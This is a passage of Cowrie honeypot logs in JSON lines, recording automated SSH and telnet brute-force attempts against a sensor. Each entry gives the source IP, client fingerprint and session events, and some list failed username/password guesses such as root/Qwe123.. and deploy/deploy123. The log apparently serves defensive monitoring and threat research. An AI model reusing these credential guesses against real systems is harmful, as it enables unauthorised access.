etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:22.948956Z","src_ip":"141.11.88.14","session":"f19837eb9191","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gituser","password":"123456","message":"login attempt [gituser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:23.446878Z","src_ip":"141.11.88.14","session":"f19837eb9191","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:24.287632Z","src_ip":"2.26.80.121","session":"dcad49b3780d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:24.810990Z","src_ip":"141.11.88.14","session":"f19837eb9191","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43074,"dst_ip":"10.17.0.5","dst_port":22,"session":"cd68b9ad1013","protocol":"ssh","message":"New connection: 141.11.88.14:43074 (10.17.0.5:22) [session: cd68b9ad1013]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:29.441447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:29.550782Z","src_ip":"141.11.88.14","session":"cd68b9ad1013","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:29.553993Z","src_ip":"141.11.88.14","session":"cd68b9ad1013","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":44358,"dst_ip":"159.203.135.109","dst_port":22,"session":"5e4b0395ae32","protocol":"ssh","message":"New connection: 211.253.37.225:44358 (159.203.135.109:22) [session: 5e4b0395ae32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:29.785100Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:29.789727Z","src_ip":"211.253.37.225","session":"5e4b0395ae32","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:30.058352Z","src_ip":"211.253.37.225","session":"5e4b0395ae32","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"051178","message":"login attempt [admin/051178] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:30.184582Z","src_ip":"141.11.88.14","session":"cd68b9ad1013","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"managedomain","password":"123456","message":"login attempt [managedomain/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:30.939460Z","src_ip":"211.253.37.225","session":"5e4b0395ae32","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:31.353796Z","src_ip":"141.11.88.14","session":"cd68b9ad1013","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:32.150473Z","src_ip":"211.253.37.225","session":"5e4b0395ae32","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.143.231.24","src_port":42540,"dst_ip":"10.17.0.5","dst_port":22,"session":"9996ef177448","protocol":"ssh","message":"New connection: 103.143.231.24:42540 (10.17.0.5:22) [session: 9996ef177448]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:32.727686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:32.732376Z","src_ip":"103.143.231.24","session":"9996ef177448","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:32.804013Z","src_ip":"103.143.231.24","session":"9996ef177448","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwe123..","message":"login attempt [root/Qwe123..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:33.118693Z","src_ip":"103.143.231.24","session":"9996ef177448","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:34.202668Z","src_ip":"103.143.231.24","session":"9996ef177448","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":43116,"dst_ip":"10.17.0.5","dst_port":22,"session":"ccb4fc8cb8ae","protocol":"ssh","message":"New connection: 141.11.88.14:43116 (10.17.0.5:22) [session: ccb4fc8cb8ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:35.077856Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:35.502708Z","src_ip":"141.11.88.14","session":"ccb4fc8cb8ae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:35.507506Z","src_ip":"141.11.88.14","session":"ccb4fc8cb8ae","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ops","password":"ops","message":"login attempt [ops/ops] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:37.538938Z","src_ip":"141.11.88.14","session":"ccb4fc8cb8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:38.654246Z","src_ip":"141.11.88.14","session":"ccb4fc8cb8ae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.37802338600159,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:40.416612Z","src_ip":"172.81.62.90","session":"18fda370de0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46166,"dst_ip":"159.203.135.109","dst_port":23,"session":"bdaa06f8692c","protocol":"telnet","message":"New connection: 128.199.8.54:46166 (159.203.135.109:23) [session: bdaa06f8692c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:42.672342Z"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":57090,"dst_ip":"10.17.0.5","dst_port":22,"session":"9a040ec59020","protocol":"ssh","message":"New connection: 141.11.88.14:57090 (10.17.0.5:22) [session: 9a040ec59020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:44.034606Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:44.103467Z","src_ip":"141.11.88.14","session":"9a040ec59020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:44.175968Z","src_ip":"141.11.88.14","session":"9a040ec59020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.149.28.157","src_port":59754,"dst_ip":"159.203.135.109","dst_port":22,"session":"2ff77ef565f2","protocol":"ssh","message":"New connection: 103.149.28.157:59754 (159.203.135.109:22) [session: 2ff77ef565f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:44.371398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:44.375945Z","src_ip":"103.149.28.157","session":"2ff77ef565f2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:44.623054Z","src_ip":"103.149.28.157","session":"2ff77ef565f2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root1","password":"root1","message":"login attempt [root1/root1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:45.055188Z","src_ip":"141.11.88.14","session":"9a040ec59020","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"13011994","message":"login attempt [root/13011994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:45.366129Z","src_ip":"103.149.28.157","session":"2ff77ef565f2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:46.159392Z","src_ip":"141.11.88.14","session":"9a040ec59020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:46.614692Z","src_ip":"103.149.28.157","session":"2ff77ef565f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44020,"dst_ip":"10.17.0.5","dst_port":22,"session":"6a74a7312220","protocol":"ssh","message":"New connection: 141.11.88.14:44020 (10.17.0.5:22) [session: 6a74a7312220]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:50.405627Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:50.470523Z","src_ip":"141.11.88.14","session":"6a74a7312220","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:50.553015Z","src_ip":"141.11.88.14","session":"6a74a7312220","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trade","password":"123456","message":"login attempt [trade/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:51.404801Z","src_ip":"141.11.88.14","session":"6a74a7312220","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:53.146362Z","src_ip":"141.11.88.14","session":"6a74a7312220","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":44072,"dst_ip":"10.17.0.5","dst_port":22,"session":"dc4337c3562c","protocol":"ssh","message":"New connection: 141.11.88.14:44072 (10.17.0.5:22) [session: dc4337c3562c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:55.909713Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:56.030988Z","src_ip":"141.11.88.14","session":"dc4337c3562c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:56.034529Z","src_ip":"141.11.88.14","session":"dc4337c3562c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"deploy123","message":"login attempt [deploy/deploy123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:48:56.594437Z","src_ip":"141.11.88.14","session":"dc4337c3562c","protocol":"ssh"}
